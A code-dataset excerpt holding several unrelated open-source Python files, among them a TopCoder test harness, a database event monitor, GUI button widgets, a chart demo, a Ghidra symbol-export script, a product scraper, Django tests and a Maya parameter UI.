Generated by KawigiEdit-pf 2.3.0\nimport sys\nimport time\ndef KawigiEdit_RunTest(testNum, p0, hasAnswer, p1):\n\tsys.stdout.write(str(\"Test \") + str(testNum) + str(\": [\") + str(\"\\\"\") + str(p0) + str(\"\\\"\"))\n\tprint(str(\"]\"))\n\tobj = WritingWords()\n\tstartTime = time.clock()\n\tanswer = obj.write(p0)\n\tendTime = time.clock()\n\tres = True\n\tprint(str(\"Time: \") + str((endTime - startTime)) + str(\" seconds\"))\n\tif (hasAnswer):\n\t\tres = answer == p1\n\t\n\tif (not res):\n\t\tprint(str(\"DOESN'T MATCH!!!!\"))\n\t\tif (hasAnswer):\n\t\t\tprint(str(\"Desired answer:\"))\n\t\t\tprint(str(\"\\t\") + str(p1))\n\t\t\n\t\tprint(str(\"Your answer:\"))\n\t\tprint(str(\"\\t\") + str(answer))\n\telif ((endTime - startTime) >= 2):\n\t\tprint(str(\"FAIL the timeout\"))\n\t\tres = False\n\telif (hasAnswer):\n\t\tprint(str(\"Match :-)\"))\n\telse:\n\t\tprint(str(\"OK, but is it right?\"))\n\t\n\tprint(str(\"\"))\n\treturn res\n\nall_right = True\ntests_disabled = False\n\n\n# ----- test 0 -----\ndisabled = False\np0 = \"A\"\np1 = 1\nall_right = (disabled or KawigiEdit_RunTest(0, p0, True, p1) ) and all_right\ntests_disabled = tests_disabled or disabled\n# ------------------\n\n# ----- test 1 -----\ndisabled = False\np0 = \"ABC\"\np1 = 6\nall_right = (disabled or KawigiEdit_RunTest(1, p0, True, p1) ) and all_right\ntests_disabled = tests_disabled or disabled\n# ------------------\n\n# ----- test 2 -----\ndisabled = False\np0 = \"VAMOSGIMNASIA\"\np1 = 143\nall_right = (disabled or KawigiEdit_RunTest(2, p0, True, p1) ) and all_right\ntests_disabled = tests_disabled or disabled\n# ------------------\n\n# ----- test 3 -----\ndisabled = False\np0 = \"TOPCODER\"\np1 = 96\nall_right = (disabled or KawigiEdit_RunTest(3, p0, True, p1) ) and all_right\ntests_disabled = tests_disabled or disabled\n# ------------------\n\n# ----- test 4 -----\ndisabled = False\np0 = \"SINGLEROUNDMATCH\"\np1 = 183\nall_right = (disabled or KawigiEdit_RunTest(4, p0, True, p1) ) and all_right\ntests_disabled = tests_disabled or disabled\n# ------------------\n\n# ----- test 5 -----\ndisabled = False\np0 = \"ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ\"\np1 = 1300\nall_right = (disabled or KawigiEdit_RunTest(5, p0, True, p1) ) and all_right\ntests_disabled = tests_disabled or disabled\n# ------------------\n\nif (all_right):\n\tif (tests_disabled):\n\t\tprint(str(\"You're a stud (but some test cases were disabled)!\"))\n\telse:\n\t\tprint(str(\"You're a stud (at least on given cases)!\"))\n\t\nelse:\n\tprint(str(\"Some of the test cases had errors.\"))\n\n# PROBLEM STATEMENT\n# Fox Ciel wants to type a word on her old cell phone. The cell phone has only one button. The letter A is typed by tapping the button once, B by tapping it twice in a row, and so on, in alphabetical order. Thus, the last letter Z is typed by tapping the button 26 times without a pause.\n# \n# You are given a string word. Compute and return the answer to the following question: How many times will Ciel tap the button while typing this word?\n# \n# DEFINITION\n# Class:WritingWords\n# Method:write\n# Parameters:string\n# Returns:integer\n# Method signature:def write(self, word):\n# \n# \n# NOTES\n# -While typing a word, Ciel has to make a short pause after typing each letter, so that the phone can tell when one letter ends and another letter begins. These pauses do not matter in this problem.\n# \n# \n# CONSTRAINTS\n# -word will contain between 1 and 50 characters, inclusive.\n# -Each character in word will be an uppercase English letter ('A'-'Z').\n# \n# \n# EXAMPLES\n# \n# 0)\n# \"A\"\n# \n# Returns: 1\n# \n# One tap types the letter A.\n# \n# 1)\n# \"ABC\"\n# \n# Returns: 6\n# \n# To type ABC, Ciel will do the following:\n# \n# Tap the button once to type A.\n# Tap the button twice to type B.\n# Tap the button three times to type C.\n# \n# The total number of taps is 1+2+3 = 6.\n# \n# 2)\n# \"VAMOSGIMNASIA\"\n# \n# Returns: 143\n# \n# \n# \n# 3)\n# \"TOPCODER\"\n# \n# Returns: 96\n# \n# \n# \n# 4)\n# \"SINGLEROUNDMATCH\"\n# \n# Returns: 183\n# \n# \n# \n# 5)\n# \"ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ\"\n# \n# Returns: 1300\n# \n# \n# \n# END KAWIGIEDIT TESTING\n#Powered by KawigiEdit-pf 2.3.0!\n","repo_name":"t-murano/TopCoder","sub_path":"div2_src/div2_618/WritingWords.py","file_name":"WritingWords.py","file_ext":"py","file_size_in_byte":4170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"70634146321","text":"import time\nfrom threading import Thread\nfrom Queue import Queue\nfrom ControllerDBCP.DBoperations import DBoperations\nfrom ControllerDBCP.DataHandler import Handler\nfrom .Utils import Utils\n\nimport cps_object\nimport cps\nimport json\nimport subprocess\n\nclass NetworkMonitor:\n\n SLEEP_DURATION = 10\n\n def __init__(self, queue):\n self.q = queue\n self.db_operations = DBoperations()\n\n def log(self,data):\n Utils.cliLogger(\"[Statistics Event] \"+ data,0)\n\n def statistics_monitor(self):\n self.log(\"Started Network Statistics Monitor...\")\n while True:\n self.check_statistics()\n time.sleep(self.SLEEP_DURATION)\n\t\t\t\n def check_statistics(self):\n q.put((dh.update_statistics, (), {}))\n\nclass DBMonitor:\n\n INTERFACES_OPERATION_STATUS = \"operstatus\"\n SLEEP_DURATION = 0.1\n\n def __init__(self, queue):\n self.q = queue\n self.db_operations = DBoperations()\n self.clean_all_interface_log()\n self.clean_all_interface_neighbour_log()\n\n def changes_monitor(self):\n self.log(\"Started monitoring database changes...\")\n while True:\n\n self.check_interfaces()\n self.check_interfaces_neighbour()\n time.sleep(self.SLEEP_DURATION)\n\n\n def check_interfaces(self):\n query = self.db_operations.GET_INTERFACES_CHANGES\n rows = self.db_operations.db_select_operation(query, '')\n if rows:\n Utils.timeLogger(\"---------------New Event---------------\")\n Utils.timeLogger(\"EventHandler| Detected Event Interface Change: \")\n for row in rows:\n log_id = row[\"id\"]\n interface_id = row[\"interfaceidentifier\"].encode(\"ascii\",\"ignore\")\n update_type = row[\"updatetype\"].encode(\"ascii\",\"ignore\")\n\n if update_type == self.INTERFACES_OPERATION_STATUS:\n self.change_operation_status_interface(interface_id)\n\n self.clean_interface_log(log_id)\n\n\n def check_interfaces_neighbour(self):\n query = self.db_operations.GET_INTERFACES_NEIGHBOUR_CHANGES\n rows = self.db_operations.db_select_operation(query, '')\n if rows:\n Utils.timeLogger(\"---------------New Event---------------\")\n Utils.timeLogger(\"EventHandler| Detected Event Interface Neighbour Change: \")\n self.change_interface_neighbour()\n self.clean_all_interface_neighbour_log()\n\n \n def clean_interface_log(self,log_id):\n\n operations = []\n query = self.db_operations.DELETE_INTERFACE_LOG_BY_ID\n queryargs = query.format(log_id)\n operations.append(queryargs)\n self.db_operations.db_insert_operations(operations)\n\n def clean_interface_neighbour_log(self,log_id):\n\n operations = []\n query = self.db_operations.DELETE_INTERFACE_NEIGHBOUR_LOG_BY_ID\n queryargs = query.format(log_id)\n operations.append(queryargs)\n self.db_operations.db_insert_operations(operations)\n\n def clean_all_interface_log(self,):\n\n operations = []\n query = self.db_operations.DELETE_INTERFACE_LOG\n operations.append(query)\n self.db_operations.db_insert_operations(operations)\n\n def clean_all_interface_neighbour_log(self,):\n\n operations = []\n query = self.db_operations.DELETE_INTERFACE_NEIGHBOUR_LOG\n operations.append(query)\n self.db_operations.db_insert_operations(operations)\n\n def change_operation_status_interface(self, interface_id):\n q.put((dh.interface_oper_status_change, (interface_id,), {}))\n self.log(\"Interface operation state changed: \"+interface_id )\n\n def change_interface_neighbour(self,):\n q.put((dh.interface_neighbour_change, (), {}))\n self.log(\"Neighbour relationship changed!\")\n\n def log(self, data):\n Utils.cliLogger(\"[DBmonitor] \" + data, 0)\n\nq = Queue()\ndh = Handler()\n\nnet_monitor = NetworkMonitor(q)\nthrd = Thread(target=net_monitor.statistics_monitor, args=())\nthrd.start()\n\ndb_monitor = DBMonitor(q)\nthrd = Thread(target=db_monitor.changes_monitor, args=())\nthrd.start()\n\nwhile True:\n f, args, kwargs = q.get()\n f(*args, **kwargs)\n q.task_done()\n","repo_name":"nmmneves/OPXAQL","sub_path":"ControllerDBCP/EventHandler.py","file_name":"EventHandler.py","file_ext":"py","file_size_in_byte":4192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30458978331","text":"from libavg import avg\nfrom libavg import widget as avg_widget\nimport widget_config\n\ndef buttonImg(svgId, size= widget_config.ICON_SIZE):\n svg = avg.SVG(widget_config.SKIN_SVG_PATH)\n bitmap = svg.renderElement(svgId, size / widget_config.DPI)\n img = avg.ImageNode()\n img.setBitmap(bitmap)\n img.pos = avg.Point2D(size / 2, size / 2) - bitmap.getSize() / 2\n return img\n\ndef ButtonBackground(color, size = widget_config.ICON_SIZE, opacity = 1):\n return avg.RectNode(size = (size, size),\n color = color,\n opacity = 0,\n fillcolor = color,\n fillopacity = 1)\n\ndef Button(svgId,\n color=\"c0c0c0\",\n downcolor = \"a0a0a0\",\n opacity = .5,\n tag = None,\n onPressed = None,\n size=widget_config.ICON_SIZE,\n **kwargs):\n\n up = avg.DivNode()\n down = avg.DivNode()\n\n up.appendChild(buttonImg(svgId, size = size))\n down.appendChild(ButtonBackground(downcolor, opacity = opacity, size = size))\n down.appendChild(buttonImg(svgId, size = size))\n\n btn = avg_widget.Button(up, down, size = (size, size), **kwargs)\n btn.tag = tag\n\n if onPressed:\n btn.subscribe(avg_widget.Button.PRESSED, onPressed)\n\n return btn\n\ndef ToggleButton(svgId,\n tag=None,\n size=widget_config.ICON_SIZE,\n color= \"c0c0c0\",\n onToggled = None,\n opacity = .5,\n **kwargs):\n\n up = avg.DivNode()\n down = avg.DivNode()\n\n down.appendChild(ButtonBackground(color=color, size=size, opacity=opacity))\n up.appendChild(buttonImg(svgId, size))\n down.appendChild(buttonImg(svgId, size))\n\n btn = avg_widget.ToggleButton(up, up, down, down, size = (size, size), **kwargs)\n if onToggled != None:\n btn.subscribe(avg_widget.ToggleButton.TOGGLED, onToggled)\n btn.tag = tag\n return btn\n","repo_name":"hoodie/libavg-widgets","sub_path":"widgets/buttons.py","file_name":"buttons.py","file_ext":"py","file_size_in_byte":1984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36625846286","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2021/3/26 16:51\n# @Author : qiubin\n# @File : test_bar.py\n# @Software: PyCharm\nfrom pyecharts import options as opts\nfrom pyecharts.charts import Bar\nfrom pyecharts.globals import ThemeType\n\n# 示例数据\ncate = ['Apple', 'Huawei', 'Xiaomi', 'Oppo', 'Vivo', 'Meizu']\ndata1 = [123, 153, 89, 107, 98, 23]\ndata2 = [56, 77, 93, 68, 45, 67]\n\n\"\"\"\n主题设置：\n默认white\n\"\"\"\nbar = Bar(init_opts=opts.InitOpts(theme=ThemeType.ROMANTIC))\nbar.add_xaxis(cate)\nbar.add_yaxis('电商渠道', data1)\nbar.add_yaxis('门店', data2)\nbar.set_series_opts(label_opts=opts.LabelOpts(is_show=False),\n markpoint_opts=opts.MarkPointOpts(data=[opts.MarkPointItem(type_=\"max\", name=\"最大值\"),\n opts.MarkPointItem(type_=\"min\", name=\"最小值\", symbol=\"rect\")]))\nbar.set_global_opts(title_opts=opts.TitleOpts(title=\"Theme-ROMANTIC\"))\n\n\nbar.render('./pic.html')\n","repo_name":"james-qb/Py_Study_Project","sub_path":"Day_001/py_echart/test_bar.py","file_name":"test_bar.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37093419392","text":"#List MIPS16 ASE function names, entry point addresses, and sizes to a file in CSV format\n#@author Mathew Marcus\n#@category MIPS\n#@keybinding \n#@menupath \n#@toolbar \n\n\nimport csv\n\nfrom ghidra.program.model.symbol import SourceType\n\n\noutput_file = askFile(\"Please Select Output File\", \"Choose\")\n\nprogram = getCurrentProgram()\n\nwith open(output_file.getPath(), \"w\") as output_file:\n csv_writer = csv.writer(output_file, quoting=csv.QUOTE_ALL)\n csv_writer.writerow([\"Name\", \"Location\", \"Function Size\"])\n\n for function in program.getFunctionManager().getFunctions(True):\n if function.isThunk():\n continue\n \n addr = function.getEntryPoint()\n\n instruction_context = getInstructionAt(addr).getInstructionContext().getProcessorContext()\n isa_mode_register = instruction_context.getRegister(\"ISA_MODE\")\n isa_mode_value = instruction_context.getValue(isa_mode_register, False)\n\n if isa_mode_value:\n addr = addr.add(isa_mode_value)\n\n # How to get size of function:\n # https://github.com/NationalSecurityAgency/ghidra/issues/835\n # https://github.com/NationalSecurityAgency/ghidra/blob/master/Ghidra/Features/Base/src/main/java/ghidra/util/table/field/FunctionBodySizeTableColumn.java#L39\n csv_writer.writerow([function.getName(), addr.toString(), function.getBody().getNumAddresses()])\n","repo_name":"mathewmarcus/orc","sub_path":"scripts/ExportMIPS16Symbols.py","file_name":"ExportMIPS16Symbols.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"17116204256","text":"def foo(requried, *args, **kwargs):\n print('0 requried=', requried)\n if args:\n print('1 args=', args)\n if kwargs:\n print('2 kwargs=', kwargs)\n\nprint(f'kwargs will collect extra keyword arguments as a \\\ndictionary because the parameter name has a ** prefix.')\n\nfoo('hello')\nfoo('hello', 1, 2, 3)\nfoo('hello', 1, 2, 3, key1='value1', key2=999)","repo_name":"greatabel/ImprovePython","sub_path":"01Python_Tricks/ch3Effective Functions/i11args.py","file_name":"i11args.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"3"} +{"seq_id":"34470793138","text":"import requests, http.client, itertools\nimport urllib.request\nfrom django.core.management.base import BaseCommand\nfrom bs4 import BeautifulSoup\nfrom django.http import Http404\nfrom slugify import slugify\nfrom xlwt import Workbook\nfrom apps.product.models import Product\n\n\nclass Command(BaseCommand):\n help = \"Parse products from www.buy.kg\"\n\n def handle(self, *args, **options):\n url = 'http://buy.kg/item/'\n count = 0\n l = 0\n wb = Workbook(encoding=\"utf-8\")\n products_list = wb.add_sheet(u\"Товары\", cell_overwrite_ok=True)\n for i in itertools.count():\n l += 1\n resp = http.client.HTTPConnection(\"www.buy.kg\")\n resp.request(\"HEAD\", \"/item/{}/\".format(i))\n response_head = resp.getresponse()\n if response_head.status == 200:\n count = 0\n html = requests.get(url + str(i) + \"/\").content\n soup = BeautifulSoup(html, 'lxml')\n cats = soup.find('div', class_='breadCrumbs')\n cats_links = cats.find_all('a')\n cats_list = [a.next for a in cats_links][2:-1]\n title = soup.find('h3', class_='title').next\n code = soup.find('p', class_='tt').next.split(\":\")[1].replace(' ', '')\n short_desc = soup.find('p', class_='tt').next_sibling.next_sibling.next.replace(\"\\r\\n\", \"\")\n price = soup.find('p', class_='cost').next.split(\" \")[0]\n if price == \"\\n\":\n price = soup.find('p', class_='cost').find('span', class_=\"bold\").next.split(\" \")[0]\n colors_div = soup.find(\"div\", class_=\"colors\")\n color_spans = colors_div.find_all('span') if colors_div else None\n colors_list = [span.get(\"style\").split(\":\")[1] for span in color_spans] if color_spans else None\n colors = \",\".join(colors_list) if colors_list else \"Не указано\"\n available = soup.find(\"span\", class_=\"teal-text\").next.next[1:]\n images_div = soup.find(\"div\", class_=\"owl-carousel\").find_all(\"img\")\n image_links = [\"http://buy.kg\" + img.get(\"src\") for img in images_div]\n images = \",\".join(image_links)\n slug = slugify(title) + \"-buykg-\" + str(i)\n description = soup.find(\"div\", class_=\"description\")\n desc_imgs_list = description.find_all('img')\n if desc_imgs_list:\n desc_imgs_src = [\"http://buy.kg\" + img.get('src') for img in desc_imgs_list]\n new_imgs_tags = [soup.new_tag(\"img\", src=c) for c in desc_imgs_src]\n write_imgs_links = list(map(lambda r,c: r.replace_with(c), desc_imgs_list, new_imgs_tags))\n product_fields = [title, code, short_desc, price, colors, available, images, str(slug),\n str(description)]\n endrange = 3 + len(product_fields)\n write_cats = list(\n map(lambda r, c: products_list.write(l, c, r), cats_list, [c for c in range(len(cats_list))]))\n write_products = list(\n map(lambda r, c: products_list.write(l, c, r), product_fields, [c for c in range(3, endrange)]))\n self.stdout.write(self.style.SUCCESS(\"%s записан.\" % title))\n else:\n count += 1\n self.stdout.write(self.style.ERROR(\" Нет такой страницы 404\"))\n if count >= 200:\n break\n file_name = \"buykg_products.xls\"\n wb.save(\"dump/\" + file_name)\n self.stdout.write(self.style.SUCCESS(\"Done!\"))\n\n","repo_name":"asmuratbek/oobamarket","sub_path":"apps/product/management/commands/parse_buykg.py","file_name":"parse_buykg.py","file_ext":"py","file_size_in_byte":3703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33820899817","text":"'''\nCreated on 2013-5-16\n\n@author: pyang\n'''\nfrom django.test.testcases import TestCase\n# -*- coding: utf-8 -*-\nfrom MHLogin.api.v1.tests.utils import create_user, get_random_username,\\\n\tcreate_practice\nfrom MHLogin.MHLUsers.models import Provider, Physician, NP_PA\nfrom MHLogin.MHLSites.models import Site\nfrom MHLogin.MHLPractices.models import PracticeLocation\nfrom MHLogin.api.v1.utils_practices import getPracticeList, setPracticeResult,\\\n\tgetPracticeInfo, getPracticeProviders, getPracticeStaff\nfrom django.http import Http404\nfrom MHLogin.api.v1.utils_users import setSubProviderResultList\nfrom MHLogin.MHLUsers.utils import get_all_practice_providers,\\\n\tget_all_practice_staff\nclass UtilsPracticeTest(TestCase):\n\tdef testGetPracticeList(self):\n\t\tpractice1 = PracticeLocation(\n\t\t\tpractice_name='USA practice',\n\t\t\tpractice_address1='555 Pleasant Pioneer Grove',\n\t\t\tpractice_address2='Trailer Q615 beijing',\n\t\t\tpractice_city='Mountain View suzhou',\n\t\t\tpractice_state='CA',\n\t\t\tpractice_zip='94040-4104',\n\t\t\tpractice_lat=37.36876,\n\t\t\tpractice_longit=-122.081864)\n\t\tpractice1.save()\n\t\t\n\t\tpractice2 = PracticeLocation(\n\t\t\tpractice_name='China practice',\n\t\t\tpractice_address1='jiangsu',\n\t\t\tpractice_address2='beijing',\n\t\t\tpractice_city='suzhou',\n\t\t\tpractice_state='JS',\n\t\t\tpractice_zip='94040-4104',\n\t\t\tpractice_lat=37.36876,\n\t\t\tpractice_longit=-122.081864)\n\t\tpractice2.save()\n\n\t\tcondition_dicts = [\n\t\t\t\t\t{'practice_name':u'practice','result':2,'result_failed':'name failed'},\n\t\t\t\t\t{'practice_name':u'USA','result':1,'result_failed':'name failed'},\n\t\t\t\t\t{'practice_name':u'abc','result':0,'result_failed':'name failed'},\n\t\t\t\t\t{'practice_address':u'jiangsu','result':1,'result_failed':'address failed'},\n\t\t\t\t\t{'practice_address':u'beijing','result':2,'result_failed':'address failed'},\n\t\t\t\t\t{'practice_address':u'abc','result':0,'result_failed':'address failed'},\n\t\t\t\t\t{'practice_city':u'Mountain','result':1,'result_failed':'city failed1'},\n\t\t\t\t\t{'practice_city':u'suzhou','result':2,'result_failed':'city failed2'},\n\t\t\t\t\t{'practice_city':u'abc','result':0,'result_failed':'city failed3'},\n\t\t\t\t\t{'practice_state':u'CA','result':1,'result_failed':'state failed'},\n\t\t\t\t\t{'practice_state':u'JS','result':1,'result_failed':'state failed'},\n\t\t\t\t\t{'practice_state':u'abc','result':0,'result_failed':'state failed'},\n\t\t\t\t\t{'practice_zip':'94040-4104','result':2,'result_failed':'zip failed'},\n\t\t\t\t\t{'practice_zip':u'22222','result':0,'result_failed':'zip failed'},\n\t\t\t\t\t{'limit':0,'result':2, 'result_total':2, 'result_failed':'limit failed'},\n\t\t\t\t\t{'limit':1,'result':1, 'result_total':2, 'result_failed':'limit failed'},\n\t\t\t\t\t{'limit':2,'result':2, 'result_total':2, 'result_failed':'limit failed'},\n\t\t\t\t\t{\n\t\t\t\t\t\t'practice_name':u'practice','address':u'suzhou china','city':u'suzhou','state':u'AB',\n\t\t\t\t\t\t'limit':2,'result':2, 'result_total':2, 'result_failed':'all failed1'\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\t'practice_name':u'abc','address':u'suzhou china','city':u'suzhou','state':u'AB',\n\t\t\t\t\t\t'limit':1,'result':0, 'result_total':0, 'result_failed':'all failed2'\n\t\t\t\t\t},\n\t\t\t]\n\t\tfor dict in condition_dicts:\n\t\t\tresult = getPracticeList(dict)\n\t\t\tif 'result_total' not in dict:\n\t\t\t\tdict['result_total'] = dict['result']\n\t\t\tself.assertEqual(dict['result_total'], result['total_count'], dict['result_failed'])\n\t\t\tself.assertEqual(dict['result'], len(result['results']), dict['result_failed'])\n\n\tdef testGetPracticeInfo(self):\n\t\tpractice = create_practice()\n\t\tdata = setPracticeResult(practice, \"Middle\")\n\t\tself.assertEqual(data, getPracticeInfo(practice.id))\n\t\twith self.assertRaises(Http404): getPracticeInfo('')\n\t\tpractice_ids = PracticeLocation.objects.filter().values_list('id', flat=True)\n\t\tnot_exist_id = 1\n\t\twhile not_exist_id in practice_ids:\n\t\t\tnot_exist_id += 1\n\t\twith self.assertRaises(Http404): getPracticeInfo(not_exist_id)\n\t\t\n\tdef testGetPracticeProviders(self):\n\t\tpractice = create_practice()\n\t\trs = get_all_practice_providers(practice, False)\n\t\tdata = {}\n\t\tdata['users'] = setSubProviderResultList(rs)\n\t\tself.assertEqual(data, getPracticeProviders(practice.id))\n\t\twith self.assertRaises(Http404): getPracticeProviders('')\n\t\tpractice_ids = PracticeLocation.objects.filter().values_list('id', flat=True)\n\t\tnot_exist_id = 1\n\t\twhile not_exist_id in practice_ids:\n\t\t\tnot_exist_id += 1\n\t\twith self.assertRaises(Http404): getPracticeProviders(not_exist_id)\n\t\t\n\tdef testGetPracticeStaff(self):\n\t\tpractice = create_practice()\n\t\trs = get_all_practice_staff(practice)\n\t\tdata = {}\n\t\tdata['users'] = setSubProviderResultList(rs)\n\t\tself.assertEqual(data, getPracticeStaff(practice.id))\n\t\twith self.assertRaises(Http404): getPracticeStaff('')\n\t\tpractice_ids = PracticeLocation.objects.filter().values_list('id', flat=True)\n\t\tnot_exist_id = 1\n\t\twhile not_exist_id in practice_ids:\n\t\t\tnot_exist_id += 1\n\t\twith self.assertRaises(Http404): getPracticeStaff(not_exist_id)\n\t\n\tdef testSetPracticeResult(self):\n\t\tpractice = create_practice()\n\t\tlogo_size = 'Small'\n\t\t\n\t\tself.assertEqual(setPracticeResult(practice, logo_size), getPracticeInfo(practice.id))\n\t\tself.assertEqual(setPracticeResult(practice, \"\"), getPracticeInfo(practice.id))\n\t\tself.assertEqual(setPracticeResult(practice, 11), getPracticeInfo(practice.id))\n\t\tself.assertEqual(setPracticeResult(practice, None), getPracticeInfo(practice.id))\n\t\t","repo_name":"DongHuaLu/mdcom","sub_path":"mdcom/MHLogin/api/v1/tests/tests_utils_practices.py","file_name":"tests_utils_practices.py","file_ext":"py","file_size_in_byte":5279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7881375082","text":"import datetime\nimport os\n\ndata_buku = {\n 'penulis':'XXXXXXXxXXX',\n 'judul':'xxxxxxxx',\n 'Publikasi':datetime.datetime(2020,11,10)\n}\n\ndata_perpus = {}\n\nwhile True : \n\tbuku = dict.fromkeys(data_buku.keys())\n\tbuku['penulis'] = input(\"Nama pengarang : \")\n\tbuku['judul'] = input(\"judul buku: \")\n\tTAHUN_PUBLIKASI = int(input(\"Tahun publikasi (YYYY): \"))\n\tBULAN_PUBLIKASI = int(input(\"Bulan publikasi (1-12): \"))\n\tTANGGAL_PUBLIKASI = int(input(\"Tanggal publikasi (1-31): \"))\n\tbuku['Publikasi'] = datetime.datetime(TAHUN_PUBLIKASI,BULAN_PUBLIKASI,TANGGAL_PUBLIKASI)\n\n\tKEY = input(\"Masukkan Urutan : \")\n\tdata_perpus.update({KEY:buku})\n\tprint(data_perpus)\n\tprint(f\"\\n{'KEY':<6} {'Penulis':<17} {'Judul':<10} {'Publikasi':<10}\")\n\tprint('-'*60)\n\n\tfor KEY in data_perpus:\n\t\tpengarang = data_perpus[KEY]['penulis']\n\t\tjudul = data_perpus[KEY]['judul']\n\t\ttahun_publikasi = data_perpus[KEY]['Publikasi'].strftime(\"%x\")\n\t\tprint(f\"{KEY:<6} {pengarang:<17} {judul:<10} {tahun_publikasi:<10}\")\n\n\tis_done = input(\"\\nTambah lagi? (y/n) : \")\n\tif is_done == 'n' : \n\t\tbreak\nprint(\"\\n\")\nprint(\"program selesai\")\n","repo_name":"Yobelgithub/Python","sub_path":"project dictionary.py","file_name":"project dictionary.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72110578320","text":"from __future__ import with_statement\n\nimport maya.cmds\n\nimport IECore\nimport IECoreMaya\n\n## The UI for the TransformationMatrixParameter supports the following\n## userData()\n##\n## - \"visibleFields\" IECore.StringVectorData, A list of fields to\n## display in the UI. Possible values are (D marks a default):\n## \"translate\" D\n## \"rotate\", D\n## \"scale\" D\n## \"shear\" D\n## \"rotatePivot\",\n## \"rotatePivotTranslation\",\n## \"scalePivot\"\n## \"scalePivotTranslation\"\n\nclass TransformationMatrixParameterUI( IECoreMaya.ParameterUI ) :\n\n\t_allFields = ( \"translate\", \"rotate\", \"scale\", \"shear\",\t\"scalePivot\", \"scalePivotTranslation\", \"rotatePivot\", \"rotatePivotTranslation\" )\n\n\tdef __init__( self, node, parameter, **kw ) :\n\n\t\tself._outerColumn = maya.cmds.columnLayout( adj=True )\n\n\t\tIECoreMaya.ParameterUI.__init__( self, node, parameter, self._outerColumn, **kw )\n\n\t\tmaya.cmds.rowLayout( numberOfColumns=2, parent=self._outerColumn )\n\n\t\tself._label = maya.cmds.text(\n\t\t\tlabel = self.label(),\n\t\t\tfont = \"tinyBoldLabelFont\",\n\t\t\talign = \"right\",\n\t\t\tannotation = self.description()\n\t\t)\n\n\t\tself._manip = maya.cmds.button( label=\"Manipulate\" )\n\n\t\tmaya.cmds.setParent(\"..\")\n\t\tmaya.cmds.setParent(\"..\")\n\n\t\tself._fields = {}\n\t\tself.__kw = kw.copy()\n\n\t\tself.replace( self.node(), self.parameter )\n\n\tdef replace( self, node, parameter ) :\n\n\t\tIECoreMaya.ParameterUI.replace( self, node, parameter )\n\t\tcurrentParent = maya.cmds.setParent( query=True )\n\n\t\tvisibleFields = IECore.StringVectorData( ( \"translate\", \"rotate\", \"scale\", \"shear\" ) )\n\t\twith IECore.IgnoredExceptions( KeyError ) :\n\t\t\tuserDataFields = parameter.userData()[\"UI\"][\"visibleFields\"]\n\t\t\tvisibleFields = []\n\t\t\tfor u in userDataFields :\n\t\t\t\tif u not in TransformationMatrixParameterUI._allFields:\n\t\t\t\t\tIECore.msg(\n\t\t\t\t\t\tIECore.Msg.Level.Warning,\n\t\t\t\t\t\t\"TransformationMatrixParameterUI\",\n\t\t\t\t\t\t\"Invalid field '%s' requested in UI userData for '%s'. Available fields are %s.\"\n\t\t\t\t\t\t % ( u, parameter.name, TransformationMatrixParameterUI._allFields )\n\t\t\t\t\t)\n\t\t\t\t\tcontinue\n\t\t\t\tvisibleFields.append( u )\n\n\t\tfor f in self._fields.keys() :\n\t\t\tif f not in visibleFields :\n\t\t\t\tmaya.cmds.deleteUI( self._fields[f][0] )\n\t\t\t\tdel self._fields[f]\n\n\t\tfnPH = IECoreMaya.FnParameterisedHolder( node )\n\t\tbaseName = fnPH.parameterPlugPath( parameter )\n\n\t\tself._addPopupMenu( parentUI=self._label, attributeName=baseName )\n\n\t\tfor f in visibleFields :\n\n\t\t\tif f not in self._fields :\n\t\t\t\tlayout = maya.cmds.rowLayout(\n\t\t\t\t\tnumberOfColumns = 4,\n\t\t\t\t\tparent = self._outerColumn,\n\t\t\t\t\tcolumnWidth4 = [ IECoreMaya.ParameterUI.textColumnWidthIndex, IECoreMaya.ParameterUI.singleWidgetWidthIndex, IECoreMaya.ParameterUI.singleWidgetWidthIndex, IECoreMaya.ParameterUI.singleWidgetWidthIndex ]\n\t\t\t\t)\n\t\t\t\tmaya.cmds.text( label=f, font=\"smallPlainLabelFont\", align=\"right\" )\n\t\t\t\tself._fields[f] = ( layout, maya.cmds.floatField(), maya.cmds.floatField(), maya.cmds.floatField() )\n\n\t\t\tmaya.cmds.connectControl( self._fields[f][1], \"%s%s%i\" % ( baseName, f, 0 ) )\n\t\t\tmaya.cmds.connectControl( self._fields[f][2], \"%s%s%i\" % ( baseName, f, 1 ) )\n\t\t\tmaya.cmds.connectControl( self._fields[f][3], \"%s%s%i\" % ( baseName, f, 2 ) )\n\n\t\tmaya.cmds.button(\n\t\t\tself._manip,\n\t\t\tedit = True,\n\t\t\t# The manip is currently only registered for float types\n\t\t\tvisible = isinstance( parameter, IECore.TransformationMatrixfParameter ),\n\t\t\tcommand = self._createCallback( IECore.curry( IECoreMaya.ManipulatorUI.manipulateParameter, node, parameter ) )\n\t\t)\n\n\t\tmaya.cmds.setParent( currentParent )\n\nIECoreMaya.ParameterUI.registerUI( IECore.TypeId.TransformationMatrixfParameter, TransformationMatrixParameterUI )\nIECoreMaya.ParameterUI.registerUI( IECore.TypeId.TransformationMatrixdParameter, TransformationMatrixParameterUI 